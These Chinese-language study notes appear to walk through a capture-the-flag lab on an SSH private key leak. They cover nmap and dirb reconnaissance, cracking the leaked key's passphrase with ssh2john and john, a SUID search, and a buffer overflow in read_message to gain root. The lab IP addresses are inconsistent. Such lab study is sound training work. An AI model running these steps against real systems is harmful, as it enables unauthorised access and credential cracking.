ssh私钥泄露

目录

环境搭建

查看当前ip地址

ifconfig

探测靶场

netdiscover -r ip/netmask子网掩码

测试靶场连通性

ssh私钥泄露

 信息探测

-nmap -sV 192.168.100.107 挖掘开放服务信息

端口探测

Robots协议

SSH 为建立在应用层基础上的安全协议

解密ssh私钥信息--破解密码登陆

利用字典解密isacrack信息

​深入探测根目录

提升权限

参数

---

环境搭建

查看当前ip地址

ifconfig

inet 192.168.1.108  netmask 255.255.255.0 

探测靶场

netdiscover -r ip/netmask子网掩码

 192.168.1.109   08:00:27:13:df:f9      1      60  PCS Systemtechnik GmbH  

测试靶场连通性

ping 192.168.253.12

ssh私钥泄露

 信息探测

渗透是针对服务的漏洞探测，进行对应数据包发送，获取机器的最高权限

-nmap -sV 192.168.100.107 挖掘开放服务信息

22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)

端口探测

对特殊端口进行探测，尤其是开发大端口的http服务进行排查
常用端口0~1023
对于开放http服务的大端口，可采用http://ip:port/形式访问

-dirb http://ip:port/对这个服务的隐藏文件进行探测

Robots协议

（也称为爬虫协议、机器人协议等）的全称是“网络爬虫排除标准”（Robots Exclusion Protocol），网站通过Robots协议告诉搜索引擎哪些页面可以抓取，哪些页面不能抓取。

+ http://192.168.1.109:31337/.ssh (CODE:200|SIZE:43)                           
+ http://192.168.1.109:31337/robots.txt (CODE:200|SIZE:70)     

SSH 为建立在应用层基础上的安全协议

SSH 是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

公钥不需要下载，是存在服务器端的，进行远程访问

cd Desktop/
ls 查看目录
ls -alh查看权限

ssh -i id_rsa  用户名，需寻找到用户名

authorised key 验证性的关键性文件

权限不够

解密ssh私钥信息--破解密码登陆

ssh2john 将id_isa私钥信息转换为john可识别的信息
chmod 600 id_isa
ssh2john id_rsa >rsacrack(失败)
python /usr/share/john/ssh2john.py id_rsa>rsacrack

利用字典解密isacrack信息

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack（失败）
john rsacrack  密码stawars

远程登陆靶机上

ssh -i id_isa 用户名@ssh 靶场机器ip地址

登陆到主机，但是不是root权限

深入探测根目录

提升权限

查找具有root权限的文件

find / -perm -4000 2>/dev/null  查找具有执行权限，避免错误输出

read_message和根目录下的read_message一样
cat read_message.c读取文件得到flag2
只会匹配前5个字符

int strncmp(const char *str1, const char *str2, size_t n)

参数

• str1-- 要进行比较的第一个字符串。

• str2-- 要进行比较的第二个字符串。

• n-- 要比较的最大字符数。 

•  

• read_message执行文件

必须正好20个字符，不然不能进入root权限

输入超过他缓存字符长度的字符 超出的部分为root权限的目录路径

缓冲区溢出攻击

通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其它命令。如果该程序属于root且有suid权限的话，攻击者就获得了一个有root权限的shell，可以对系统进行任意操作了。